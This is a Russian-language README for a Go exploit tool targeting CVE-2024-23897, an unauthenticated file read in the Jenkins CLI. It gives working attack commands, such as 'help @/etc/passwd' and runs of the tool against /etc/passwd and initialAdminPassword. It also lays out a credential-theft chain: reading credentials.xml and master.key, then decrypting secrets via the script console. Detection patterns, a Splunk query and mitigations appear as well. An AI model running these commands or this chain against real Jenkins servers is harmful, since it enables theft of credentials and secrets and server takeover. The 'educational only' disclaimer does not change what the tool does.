
CVE-2024-23897: Произвольное чтение файлов в Jenkins, приводящее к RCE
CVE-2024-23897: произвольное чтение файлов в Jenkins, ведущее к RCE 🎯 Поражённые продукты и версии
Продукт: Jenkins (сервер непрерывной интеграции/непрерывной поставки)
Версии: Jenkins 2.441 и более ранние, Jenkins LTS 2.426.2 и более ранние
Исправлено в: Jenkins 2.442, Jenkins LTS 2.426.3
📝 Описание
CVE-2024-23897 — критическая уязвимость в Jenkins, позволяющая неаутентифицированным атакующим читать произвольные файлы в файловой системе контроллера Jenkins. Уязвимость существует потому, что Jenkins не отключает функцию своего парсера CLI-команд, которая заменяет символ '@', за которым следует путь к файлу, содержимым этого файла.
Эта ошибка может привести к удалённому выполнению кода (RCE) в сочетании с другими методами, что делает её особенно опасной для организаций, использующих Jenkins в своих конвейерах CI/CD. 🔍 Детали уязвимости Корневая причина
Уязвимость возникает из-за функции expandAtFiles() в классе org.kohsuke.args4j.CmdLineParser. При разборе аргументов CLI, если парсер встречает символ '@', за которым следует путь к файлу, он читает и подставляет содержимое этого файла. Вектор атаки
Атакующие могут использовать эту уязвимость через CLI-интерфейс Jenkins без аутентификации: bash
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd
Технический анализ Ограничения чтения файлов
Без аутентификации: можно прочитать только первые 3 строки файла (в зависимости от CLI-команды)
С разрешением 'Overall/Read': доступно полное содержимое файла
Бинарные файлы: могут быть извлечены, но возможны проблемы с кодировкой (Windows-1252 на Windows даёт лучшие результаты, чем UTF-8 на Linux)
Расширение поверхности атаки
После получения чтения файлов атакующие могут перейти к более серьёзным атакам:
Извлечение учётных данных:
Чтение /var/jenkins_home/credentials.xml для получения зашифрованных учётных данных
Чтение /var/jenkins_home/secrets/master.key и hudson.util.Secret для дешифрования
Дешифрование учётных данных через консоль сценариев Jenkins: println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())
Подделка файлов cookie "Remember-me":
Получение административного доступа путём подделки cookie аутентификации
Выполнение произвольного кода:
Достижение RCE через Resource Root URL, XSS или CSRF-векторы
💥 Воздействие Непосредственное воздействие
Конфиденциальность: полное раскрытие всех файлов на сервере Jenkins (исходный код, учётные данные, SSH-ключи, токены)
Целостность: атакующие могут изменять сборки, конвейеры и конфигурации
Доступность: возможность отказа в обслуживании или развёртывания программ-вымогателей
Реальная эксплуатация
Эта уязвимость активно эксплуатировалась в реальных условиях:
Добавлена в каталог CISA Known Exploited Vulnerabilities (KEV)
Использовалась бандами программ-вымогателей (RansomEXX) для компрометации инфраструктуры
Эксплуатировалась угрозой IntelBroker для кражи репозиториев GitHub и компрометации поставщиков ИТ-услуг
🔧 Обнаружение Индикаторы компрометации
Успешные попытки эксплуатации можно обнаружить с помощью:
HTTP-шаблоны запросов: text
POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]
Типичные примеры полезной нагрузки:
@/etc/passwd
@/var/jenkins_home/secrets/initialAdminPassword
@/etc/os-release
Запрос обнаружения Splunk text
index=web uri="/cli?remoting=false" http_method=POST http_status=200
🛡️ Смягчение Официальное исправление
Обновите до исправленных версий:
Jenkins ≥ 2.442
Jenkins LTS ≥ 2.426.3
Временное смягчение
Если немедленное обновление невозможно:
Отключите доступ к CLI Jenkins
Установите системное свойство Java: hudson.cli.CLICommand.allowAtSyntax=false
Ограничьте сетевой доступ к административному интерфейсу Jenkins
Внедрите правила WAF для блокировки запросов, содержащих шаблоны @/
🔗 Ссылки
Запись NVD
Рекомендации по безопасности Jenkins
Каталог KEV CISA
Исследование Splunk
Страница CVE Tenable
📦 Сборка и запуск
bash
go build -o jenkins-cve-2024-23897 exploit.go
./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd
go run exploit.go http://target-jenkins:8080 /etc/passwd
🎯 Примеры использования bash
./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword
./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini
⚙️ Как это работает
Инициализация сеанса: генерируется уникальный 20-байтовый идентификатор сеанса
Формирование полезной нагрузки: создаётся бинарная полезная нагрузка со структурой help @/path/to/file
Этап отправки: полезная нагрузка отправляется на конечную точку CLI Jenkins
Этап получения: содержимое файла извлекается из ответа
Вывод: отображается содержимое файла или сообщение об ошибке
📊 Возможности
Чистая реализация на Go — без внешних зависимостей
Кроссплатформенность — работает на Windows, Linux, macOS
Настраиваемые тайм-ауты — регулируются для медленных сетей
Понятная обработка ошибок — подробные сообщения об ошибках
Бинарная безопасность — обрабатывает как текстовые, так и бинарные файлы
⚠️ Важные примечания
Только в образовательных целях — используйте только в системах, которыми вы владеете или на тестирование которых у вас есть разрешение
Неаутентифицированное чтение — без аутентификации можно прочитать только первые ~3 строки
Бинарные файлы — возможны проблемы с кодировкой (используйте целевую систему Windows для лучшего извлечения бинарных файлов)